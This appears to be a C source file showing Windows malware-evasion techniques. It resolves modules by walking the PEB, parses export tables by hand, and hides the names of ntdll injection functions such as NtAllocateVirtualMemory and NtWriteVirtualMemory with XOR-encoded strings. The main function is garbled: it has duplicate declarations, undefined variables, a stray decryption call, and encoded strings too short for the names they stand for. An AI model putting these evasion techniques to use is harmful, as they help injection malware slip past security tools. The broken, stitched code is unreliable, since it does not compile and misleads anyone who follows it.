1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99
| #include <stdlib.h> #include <stdio.h> #include <windows.h> #include <winternl.h> #include <shlwapi.h> #include <string.h>
#pragma comment(lib, "Shlwapi.lib")
int cmpUnicodeStr(WCHAR substr[], WCHAR mystr[]) { _wcslwr_s(substr, MAX_PATH); _wcslwr_s(mystr, MAX_PATH);
int result = 0; if (StrStrW(mystr, substr) != NULL) { result = 1; }
return result; }
typedef UINT(CALLBACK* fnMessageBoxA)( HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType );
HMODULE myGetModuleHandle(LPCWSTR lModuleName) { PEB* pPeb = (PEB*)__readgsqword(0x60); PEB_LDR_DATA* Ldr = pPeb->Ldr; LIST_ENTRY* ModuleList = &Ldr->InMemoryOrderModuleList; LIST_ENTRY* pStartListEntry = ModuleList->Flink; WCHAR mystr[MAX_PATH] = { 0 }; WCHAR substr[MAX_PATH] = { 0 }; for (LIST_ENTRY* pListEntry = pStartListEntry; pListEntry != ModuleList; pListEntry = pListEntry->Flink) { LDR_DATA_TABLE_ENTRY* pEntry = (LDR_DATA_TABLE_ENTRY*)((BYTE*)pListEntry - sizeof(LIST_ENTRY)); memset(mystr, 0, MAX_PATH * sizeof(WCHAR)); memset(substr, 0, MAX_PATH * sizeof(WCHAR)); wcscpy_s(mystr, MAX_PATH, pEntry->FullDllName.Buffer); wcscpy_s(substr, MAX_PATH, lModuleName); if (cmpUnicodeStr(substr, mystr)) { return (HMODULE)pEntry->DllBase; } } printf("failed to get a handle to %s\n", lModuleName); return NULL; } FARPROC myGetProcAddress(HMODULE hModule, LPCSTR lpProcName) { PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hModule; PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hModule + dosHeader->e_lfanew); PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)hModule + ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); DWORD* addressOfFunctions = (DWORD*)((BYTE*)hModule + exportDirectory->AddressOfFunctions); WORD* addressOfNameOrdinals = (WORD*)((BYTE*)hModule + exportDirectory->AddressOfNameOrdinals); DWORD* addressOfNames = (DWORD*)((BYTE*)hModule + exportDirectory->AddressOfNames); for (DWORD i = 0; i < exportDirectory->NumberOfNames; ++i) { if (strcmp(lpProcName, (const char*)hModule + addressOfNames[i]) == 0) { return (FARPROC)((BYTE*)hModule + addressOfFunctions[addressOfNameOrdinals[i]]); } }
return NULL; } char s_NAVM[] = { 0x23,0x0d,0x32,0x19,0x1c,0x0a }; char s_mb[] = { 0x23,0x0d,0x24,0x07,0x19,0x11 }; char s_dll[] = { 0x03,0x0d,0x17,0x19 }; char s_key[] = "xxx"; void XOR(char * data, size_t data_len, char * key, size_t key_len) { int j; j = 0; for (int i = 0; i < data_len; i++) { if (j == key_len - 1) j = 0; data[i] = data[i] ^ key[j]; j++; } } int main(int argc, char* argv[]) { XOR((char *) s_dll, sizeof(s_dll), s_key, sizeof(s_key)); XOR((char *) s_mb, sizeof(s_mb), s_key, sizeof(s_key)); wchar_t wtext[20]; mbstowcs(wtext, s_dll, strlen(s_dll)+1); LPWSTR user_dll = wtext; HMODULE mod = myGetModuleHandle(user_dll); XOR((char*)encryptedpad_len, my_secret_key, sizeof(my_secret_key)); a5_1_decrypt(key, key_len, encrypted, pad_len, decrypted); XOR((char*)s_NAVM, sizeof(s_NAVM), s_key, sizeof(s_key)); XOR((char*)s_dll, sizeof(s_dll), s_key, sizeof(s_key)); XOR((char*)s_mb, sizeof(s_mb), s_key, sizeof(s_key)); wchar_t wtext[20]; mbstowcs(wtext, s_dll, strlen(s_dll) + 1); LPWSTR ntdll_dll = wtext; HMODULE mod = myGetModuleHandle(ntdll_dll); pNtAllocateVirtualMemory NtAllocateVirtualMemory = (pNtAllocateVirtualMemory)myGetProcAddress(mod, (LPCSTR)s_NAVM); pNtWriteVirtualMemory NtWriteVirtualMemory = (pNtWriteVirtualMemory)myGetProcAddress(mod, (LPCSTR)s_mb); return 0; }
|